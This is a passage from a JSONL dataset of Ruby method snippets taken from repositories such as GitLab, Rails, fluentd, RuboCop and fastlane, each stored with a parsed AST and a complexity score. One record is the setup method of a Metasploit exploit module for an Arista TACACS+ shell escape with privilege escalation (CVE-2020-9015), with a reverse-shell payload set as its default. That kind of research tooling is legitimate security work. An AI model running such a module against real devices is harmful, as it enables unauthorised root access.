\":\"sym\",\"children\":[\"oauth_applications\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"duo_workflow_oauth_application_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]}]}]}","id":"e1139aea-45fc-4300-94dd-cfa2d3093eb3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/sysprep_file.rb","start_line":4,"raw_source":"def initialize(content)\n    @content = content.respond_to?(:read) ? content.read : content\n    validate_content\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"read\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_content\"]}]}]}","id":"694eb38d-9cfb-4fa2-a1c8-29807afd91ed"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_i18n_test.rb","start_line":79,"raw_source":"def assert_distance_of_time_in_words_translates_key(passed, expected, expected_options = {})\n    diff, passed_options = *passed\n    key, count = *expected\n    to = @from + diff\n\n    options = { locale: \"en\", scope: :'datetime.distance_in_words' }.merge!(expected_options)\n    options[:count] = count if count\n\n    assert_called_with(I18n, :t, [key], **options) do\n      distance_of_time_in_words(@from, to, passed_options.merge(locale: \"en\"))\n    end\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_distance_of_time_in_words_translates_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"passed\"]},{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"optarg\",\"children\":[\"expected_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff\"]},{\"type\":\"lvasgn\",\"children\":[\"passed_options\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passed\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"count\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@from\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"datetime.distance_in_words\"]}]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"expected_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[null,\"I18n\"]},{\"type\":\"sym\",\"children\":[\"t\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"distance_of_time_in_words\",{\"type\":\"ivar\",\"children\":[\"@from\"]},{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passed_options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"str\",\"children\":[\"en\"]}]}]}]}]}]}]}]}","id":"f6f6ea88-ae3c-41ce-962e-39df7c2f8f1b"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":605,"raw_source":"def test_format_json\n    logdev = @log_device\n    logger = ServerEngine::DaemonLogger.new(logdev)\n    log = Fluent::Log.new(logger)\n    log.format = :json\n    log.level = Fluent::Log::LEVEL_TRACE\n    log.trace \"trace log\"\n    log.debug \"debug log\"\n    log.info \"info log\"\n    log.warn \"warn log\"\n    log.error \"error log\"\n    log.fatal \"fatal log\"\n    expected = [\n      \"#{@timestamp_str} [trace]: trace log\\n\",\n      \"#{@timestamp_str} [debug]: debug log\\n\",\n      \"#{@timestamp_str} [info]: info log\\n\",\n      \"#{@timestamp_str} [warn]: warn log\\n\",\n      \"#{@timestamp_str} [error]: error log\\n\",\n      \"#{@timestamp_str} [fatal]: fatal log\\n\"\n    ]\n    assert_equal(expected, log.out.logs.map { |l|\n                   r = JSON.parse(l)\n                   \"#{r['time']} [#{r['level']}]: #{r['message']}\\n\"\n                 })\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_format_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"ivar\",\"children\":[\"@log_device\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"format=\",{\"type\":\"sym\",\"children\":[\"json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"level=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"LEVEL_TRACE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"trace\",{\"type\":\"str\",\"children\":[\"trace log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"debug log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"info\",{\"type\":\"str\",\"children\":[\"info log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"warn log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"error\",{\"type\":\"str\",\"children\":[\"error log\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"fatal\",{\"type\":\"str\",\"children\":[\"fatal log\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [trace]: trace log\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [debug]: debug log\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [info]: info log\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [warn]: warn log\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [error]: error log\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp_str\"]}]},{\"type\":\"str\",\"children\":[\" [fatal]: fatal log\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"out\"]},\"logs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time\"]}]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"level\"]}]}]},{\"type\":\"str\",\"children\":[\"]: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}","id":"2cecec4f-54b1-428d-a372-f72412291c33"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cops_documentation_generator.rb","start_line":195,"raw_source":"def configurations(department, cop, cop_config)\n    header = ['Name', 'Default value', 'Configurable values']\n    configs = cop_config.each_key.reject do |key|\n      key == 'AllowMultipleStyles' ||\n        (key != 'SupportedTypes' && key.start_with?('Supported'))\n    end\n    return '' if configs.empty?\n\n    content = configs.map do |name|\n      configurable = configurable_values(cop_config, name)\n      default = format_table_value(cop_config[name])\n\n      [configuration_name(department, name), default, configurable]\n    end\n\n    cop_subsection('Configurable attributes', cop) + to_table(header, content)\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"configurations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"department\"]},{\"type\":\"arg\",\"children\":[\"cop\"]},{\"type\":\"arg\",\"children\":[\"cop_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Default value\"]},{\"type\":\"str\",\"children\":[\"Configurable values\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"configs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_config\"]},\"each_key\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"str\",\"children\":[\"AllowMultipleStyles\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"!=\",{\"type\":\"str\",\"children\":[\"SupportedTypes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"Supported\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configs\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configurable\",{\"type\":\"send\",\"children\":[null,\"configurable_values\",{\"type\":\"lvar\",\"children\":[\"cop_config\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default\",{\"type\":\"send\",\"children\":[null,\"format_table_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration_name\",{\"type\":\"lvar\",\"children\":[\"department\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"configurable\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_subsection\",{\"type\":\"str\",\"children\":[\"Configurable attributes\"]},{\"type\":\"lvar\",\"children\":[\"cop\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"to_table\",{\"type\":\"lvar\",\"children\":[\"header\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"0aeb59dc-0af2-499e-9ae2-29f1b52ea43d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241009122534_queue_retry_backfill_runner_type_and_sharding_key_id_on_ci_runner_managers.rb","start_line":13,"raw_source":"def up\n    # Delete aborted 20241003110148 migration in .com\n    delete_batched_background_migration(MIGRATION, :ci_runner_machines, :id, []) if Gitlab.com_except_jh?\n\n    queue_batched_background_migration(\n      MIGRATION,\n      :ci_runner_machines,\n      :id,\n      job_interval: DELAY_INTERVAL,\n      batch_size: BATCH_SIZE,\n      sub_batch_size: SUB_BATCH_SIZE\n    )\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com_except_jh?\"]},{\"type\":\"send\",\"children\":[null,\"delete_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"ci_runner_machines\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"ci_runner_machines\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]}]}]}]}","id":"cd20f914-857d-4e26-845e-d098a3469068"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/reference_parser/base_parser_spec.rb","start_line":267,"raw_source":"def referenced_by(nodes, ids_only: false)\n          nodes.map(&:id)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"referenced_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nodes\"]},{\"type\":\"kwoptarg\",\"children\":[\"ids_only\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"49c9ce95-ca6a-4712-893b-a84f6fa4421e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/plugins/plugin_generator.rb","start_line":48,"raw_source":"def derive_dest_path(template_path, plugin_info)\n      relative_template_path = template_path.gsub(@template_root, '')\n      replaced_path = replace_path_variables(relative_template_path, plugin_info)\n\n      File.join(@dest_root, plugin_info.gem_name, replaced_path)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_dest_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_path\"]},{\"type\":\"arg\",\"children\":[\"plugin_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relative_template_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_path\"]},\"gsub\",{\"type\":\"ivar\",\"children\":[\"@template_root\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replaced_path\",{\"type\":\"send\",\"children\":[null,\"replace_path_variables\",{\"type\":\"lvar\",\"children\":[\"relative_template_path\"]},{\"type\":\"lvar\",\"children\":[\"plugin_info\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@dest_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_info\"]},\"gem_name\"]},{\"type\":\"lvar\",\"children\":[\"replaced_path\"]}]}]}]}","id":"90510594-e4a7-4967-87e7-f34c44620e15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/ssh/arista_tacplus_shell.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Arista restricted shell escape (with privesc)',\n        'Description' => %q{\n          This exploit module takes advantage of a poorly configured TACACS+ config,\n          Arista's bash shell and TACACS+ read-only account to privilage escalate.\n          A CVSS v3 base score of 9.8 has been assigned.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['Chris Anders'],\n        'References' => [\n          [ 'CVE', '2020-9015'],\n          [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],\n          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],\n        ],\n        'Arch' => ARCH_X86,\n        'ConnectionType' => 'find',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'Payload' => 'linux/x86/shell_reverse_tcp'\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        },\n        'DisclosureDate' => '2020-02-02',\n        'Platform' => 'linux',\n        'PayloadType' => 'cmd_interact',\n        'Privileged' => true,\n        'Targets' => [ [ 'Universal', {} ] ]\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(22),\n        OptString.new('USERNAME', [true, 'Username to login with', '']),\n        OptString.new('PASSWORD', [true, 'Password to login with', '']),\n      ]\n    )\n\n    register_advanced_options(\n      [\n        Opt::Proxies,\n        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),\n        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),\n        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])\n      ]\n    )\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Arista restricted shell escape (with privesc)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit module takes advantage of a poorly configured TACACS+ config,\\n\"]},{\"type\":\"str\",\"children\":[\"          Arista's bash shell and TACACS+ read-only account to privilage escalate.\\n\"]},{\"type\":\"str\",\"children\":[\"          A CVSS v3 base score of 9.8 has been assigned.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Chris Anders\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-9015\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.securitybytes.me/posts/cve-2020-9015/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nvd.nist.gov/vuln/detail/CVE-2020-9015\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectionType\"]},{\"type\":\"str\",\"children\":[\"find\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"linux/x86/shell_reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-02-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd_interact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Universal\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to login with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to login with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"Proxies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSH_DEBUG\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable SSH debugging output (Extreme verbosity!)\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSH_TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify the maximum time to negotiate a SSH session\"]},{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"GatherProof\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Gather proof of access via pre-session shell commands\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"20aefe33-e765-40df-b12c-8374f8da880a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/request_params.rb","start_line":215,"raw_source":"def default_created_after\n          if created_before\n            (created_before - DEFAULT_DATE_RANGE)\n          else\n            DEFAULT_DATE_RANGE.ago\n          end\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"default_created_after\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_before\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_before\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_DATE_RANGE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_DATE_RANGE\"]},\"ago\"]}]}]}","id":"d60fc395-c229-4b34-b1d8-a34c33267586"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/direct_message_channel.rb","start_line":23,"raw_source":"def generate_auto_slug\n      self.slug.blank?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_auto_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slug\"]},\"blank?\"]}]}","id":"b78e8f2c-857e-4043-b03e-5f49ef6d5ac6"}
